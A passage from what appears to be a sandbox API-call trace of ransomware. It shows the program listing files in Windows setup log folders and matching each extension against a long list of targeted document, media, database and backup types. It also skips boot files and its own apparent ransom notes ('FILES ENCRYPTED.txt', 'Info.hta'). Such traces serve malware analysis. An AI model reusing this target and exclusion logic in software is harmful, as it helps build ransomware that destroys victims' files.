lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".fido") returned 5 [0078.641] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0078.641] lstrlenW (lpString=".flm") returned 4 [0078.641] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".flv") returned 4 [0078.641] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".frm") returned 4 [0078.641] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".fxg") returned 4 [0078.642] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".geo") returned 4 [0078.642] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".gif") returned 4 [0078.642] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".grs") returned 4 [0078.642] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".gz") returned 3 [0078.642] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0078.642] lstrlenW (lpString=".h") returned 2 [0078.642] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0078.642] lstrlenW (lpString=".hdr") returned 4 [0078.642] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".hpp") returned 4 [0078.642] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".hta") returned 4 [0078.642] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".htc") returned 4 [0078.642] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".htm") returned 4 [0078.642] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".html") returned 5 [0078.642] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0078.642] lstrlenW (lpString=".icb") returned 4 [0078.642] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0078.642] lstrlenW (lpString=".ics") returned 4 [0078.643] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".iff") returned 4 [0078.643] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".inc") returned 4 [0078.643] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".indd") returned 5 [0078.643] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0078.643] lstrlenW (lpString=".ini") returned 4 [0078.643] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".iqy") returned 4 [0078.643] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".j2c") returned 4 [0078.643] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".j2k") returned 4 [0078.643] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".java") returned 5 [0078.643] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0078.643] lstrlenW (lpString=".jp2") returned 4 [0078.643] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".jpc") returned 4 [0078.643] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".jpe") returned 4 [0078.643] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0078.643] lstrlenW (lpString=".jpeg") returned 5 [0078.643] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0078.643] lstrlenW (lpString=".jpf") returned 4 [0078.643] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".jpg") returned 4 [0078.644] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".jpx") returned 4 [0078.644] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".js") returned 3 [0078.644] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0078.644] lstrlenW (lpString=".jsf") returned 4 [0078.644] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".json") returned 5 [0078.644] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0078.644] lstrlenW (lpString=".jsp") returned 4 [0078.644] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".kdc") returned 4 [0078.644] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".kmz") returned 4 [0078.644] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".kwm") returned 4 [0078.644] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".lasso") returned 6 [0078.644] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0078.644] lstrlenW (lpString=".lbi") returned 4 [0078.644] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".lgf") returned 4 [0078.644] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0078.644] lstrlenW (lpString=".lgp") returned 4 [0078.644] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0078.645] lstrlenW (lpString=".log") returned 4 [0078.645] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0078.645] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0078.645] lstrlenW (lpString=".kr") returned 3 [0078.645] lstrcmpiW (lpString1=".kr", lpString2="log") returned -1 [0078.645] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0078.645] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0078.645] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0078.645] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0078.645] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0078.645] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0078.645] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0078.645] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0078.645] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0078.645] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0078.645] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0078.645] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0078.645] lstrlenW (lpString=".1cd") returned 4 [0078.645] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0078.645] lstrlenW (lpString=".3ds") returned 4 [0078.645] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0078.645] lstrlenW (lpString=".3fr") returned 4 [0078.645] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0078.646] lstrlenW (lpString=".3g2") returned 4 [0078.646] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0078.646] lstrlenW (lpString=".3gp") returned 4 [0078.646] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0078.646] lstrlenW (lpString=".7z") returned 3 [0078.646] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0078.646] lstrlenW (lpString=".accda") returned 6 [0078.646] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0078.646] lstrlenW (lpString=".accdb") returned 6 [0078.646] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0078.646] lstrlenW (lpString=".accdc") returned 6 [0078.646] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0078.646] lstrlenW (lpString=".accde") returned 6 [0078.646] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0078.646] lstrlenW (lpString=".accdt") returned 6 [0078.646] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0078.646] lstrlenW (lpString=".accdw") returned 6 [0078.646] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0078.646] lstrlenW (lpString=".adb") returned 4 [0078.646] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0078.646] lstrlenW (lpString=".adp") returned 4 [0078.646] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0078.646] lstrlenW (lpString=".ai") returned 3 [0078.646] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0078.646] lstrlenW (lpString=".ai3") returned 4 [0078.646] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".ai4") returned 4 [0078.647] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".ai5") returned 4 [0078.647] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".ai6") returned 4 [0078.647] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".ai7") returned 4 [0078.647] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".ai8") returned 4 [0078.647] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".anim") returned 5 [0078.647] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0078.647] lstrlenW (lpString=".arw") returned 4 [0078.647] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".as") returned 3 [0078.647] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0078.647] lstrlenW (lpString=".asa") returned 4 [0078.647] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".asc") returned 4 [0078.647] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".ascx") returned 5 [0078.647] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0078.647] lstrlenW (lpString=".asm") returned 4 [0078.647] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0078.647] lstrlenW (lpString=".asmx") returned 5 [0078.647] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0078.647] lstrlenW (lpString=".asp") returned 4 [0078.648] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".aspx") returned 5 [0078.648] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0078.648] lstrlenW (lpString=".asr") returned 4 [0078.648] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".asx") returned 4 [0078.648] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".avi") returned 4 [0078.648] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".avs") returned 4 [0078.648] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".backup") returned 7 [0078.648] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0078.648] lstrlenW (lpString=".bak") returned 4 [0078.648] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".bay") returned 4 [0078.648] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".bd") returned 3 [0078.648] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0078.648] lstrlenW (lpString=".bin") returned 4 [0078.648] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".bmp") returned 4 [0078.648] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".bz2") returned 4 [0078.648] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0078.648] lstrlenW (lpString=".c") returned 2 [0078.649] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0078.649] lstrlenW (lpString=".cdr") returned 4 [0078.649] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".cer") returned 4 [0078.649] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".cf") returned 3 [0078.649] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0078.649] lstrlenW (lpString=".cfc") returned 4 [0078.649] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".cfm") returned 4 [0078.649] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".cfml") returned 5 [0078.649] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0078.649] lstrlenW (lpString=".cfu") returned 4 [0078.649] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".chm") returned 4 [0078.649] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".cin") returned 4 [0078.649] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".class") returned 6 [0078.649] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0078.649] lstrlenW (lpString=".clx") returned 4 [0078.649] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0078.649] lstrlenW (lpString=".config") returned 7 [0078.649] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0078.649] lstrlenW (lpString=".cpp") returned 4 [0078.650] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".cr2") returned 4 [0078.650] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".crt") returned 4 [0078.650] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".crw") returned 4 [0078.650] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".cs") returned 3 [0078.650] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0078.650] lstrlenW (lpString=".css") returned 4 [0078.650] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".csv") returned 4 [0078.650] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".cub") returned 4 [0078.650] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".dae") returned 4 [0078.650] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".dat") returned 4 [0078.650] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".db") returned 3 [0078.650] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0078.650] lstrlenW (lpString=".dbf") returned 4 [0078.650] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".dbx") returned 4 [0078.650] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0078.650] lstrlenW (lpString=".dc3") returned 4 [0078.651] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".dcm") returned 4 [0078.651] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".dcr") returned 4 [0078.651] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".der") returned 4 [0078.651] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".dib") returned 4 [0078.651] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".dic") returned 4 [0078.651] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".dif") returned 4 [0078.651] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".divx") returned 5 [0078.651] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0078.651] lstrlenW (lpString=".djvu") returned 5 [0078.651] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0078.651] lstrlenW (lpString=".dng") returned 4 [0078.651] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".doc") returned 4 [0078.651] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0078.651] lstrlenW (lpString=".docm") returned 5 [0078.651] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0078.651] lstrlenW (lpString=".docx") returned 5 [0078.651] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0078.651] lstrlenW (lpString=".dot") returned 4 [0078.651] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0078.652] lstrlenW (lpString=".dotm") returned 5 [0078.652] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0078.652] lstrlenW (lpString=".dotx") returned 5 [0078.652] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0078.652] lstrlenW (lpString=".dpx") returned 4 [0078.652] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0078.652] lstrlenW (lpString=".dqy") returned 4 [0078.652] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0078.652] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0078.652] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0078.652] FindClose (in: hFindFile=0x459d20 | out: hFindFile=0x459d20) returned 1 [0078.653] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0078.653] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0078.654] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0078.654] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21 [0078.654] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x459c60 [0078.656] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.657] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0078.657] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0078.657] lstrlenW (lpString=".1cd") returned 4 [0078.657] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.657] lstrlenW (lpString=".3ds") returned 4 [0078.657] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0078.657] lstrlenW (lpString=".3fr") returned 4 [0078.657] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0078.657] lstrlenW (lpString=".3g2") returned 4 [0078.657] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0078.657] lstrlenW (lpString=".3gp") returned 4 [0078.657] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0078.657] lstrlenW (lpString=".7z") returned 3 [0078.657] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.657] lstrlenW (lpString=".accda") returned 6 [0078.657] lstrcmpiW (lpString1=".accda", lpString2="BE.dll") returned -1 [0078.657] lstrlenW (lpString=".accdb") returned 6 [0078.657] lstrcmpiW (lpString1=".accdb", lpString2="BE.dll") returned -1 [0078.657] lstrlenW (lpString=".accdc") returned 6 [0078.657] lstrcmpiW (lpString1=".accdc", lpString2="BE.dll") returned -1 [0078.657] lstrlenW (lpString=".accde") returned 6 [0078.657] lstrcmpiW (lpString1=".accde", lpString2="BE.dll") returned -1 [0078.657] lstrlenW (lpString=".accdt") returned 6 [0078.658] lstrcmpiW (lpString1=".accdt", lpString2="BE.dll") returned -1 [0078.658] lstrlenW (lpString=".accdw") returned 6 [0078.658] lstrcmpiW (lpString1=".accdw", lpString2="BE.dll") returned -1 [0078.658] lstrlenW (lpString=".adb") returned 4 [0078.658] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".adp") returned 4 [0078.658] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".ai") returned 3 [0078.658] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0078.658] lstrlenW (lpString=".ai3") returned 4 [0078.658] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".ai4") returned 4 [0078.658] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".ai5") returned 4 [0078.658] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".ai6") returned 4 [0078.658] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".ai7") returned 4 [0078.658] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".ai8") returned 4 [0078.658] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".anim") returned 5 [0078.658] lstrcmpiW (lpString1=".anim", lpString2="E.dll") returned -1 [0078.658] lstrlenW (lpString=".arw") returned 4 [0078.658] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0078.658] lstrlenW (lpString=".as") returned 3 [0078.659] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0078.659] lstrlenW (lpString=".asa") returned 4 [0078.659] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".asc") returned 4 [0078.659] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".ascx") returned 5 [0078.659] lstrcmpiW (lpString1=".ascx", lpString2="E.dll") returned -1 [0078.659] lstrlenW (lpString=".asm") returned 4 [0078.659] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".asmx") returned 5 [0078.659] lstrcmpiW (lpString1=".asmx", lpString2="E.dll") returned -1 [0078.659] lstrlenW (lpString=".asp") returned 4 [0078.659] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".aspx") returned 5 [0078.659] lstrcmpiW (lpString1=".aspx", lpString2="E.dll") returned -1 [0078.659] lstrlenW (lpString=".asr") returned 4 [0078.659] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".asx") returned 4 [0078.659] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".avi") returned 4 [0078.659] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".avs") returned 4 [0078.659] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0078.659] lstrlenW (lpString=".backup") returned 7 [0078.659] lstrcmpiW (lpString1=".backup", lpString2="OBE.dll") returned -1 [0078.659] lstrlenW (lpString=".bak") returned 4 [0078.660] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".bay") returned 4 [0078.660] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".bd") returned 3 [0078.660] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0078.660] lstrlenW (lpString=".bin") returned 4 [0078.660] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".bmp") returned 4 [0078.660] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".bz2") returned 4 [0078.660] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".c") returned 2 [0078.660] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0078.660] lstrlenW (lpString=".cdr") returned 4 [0078.660] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".cer") returned 4 [0078.660] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".cf") returned 3 [0078.660] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0078.660] lstrlenW (lpString=".cfc") returned 4 [0078.660] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".cfm") returned 4 [0078.660] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0078.660] lstrlenW (lpString=".cfml") returned 5 [0078.660] lstrcmpiW (lpString1=".cfml", lpString2="E.dll") returned -1 [0078.660] lstrlenW (lpString=".cfu") returned 4 [0078.661] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".chm") returned 4 [0078.661] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0078.661] lstrlenW 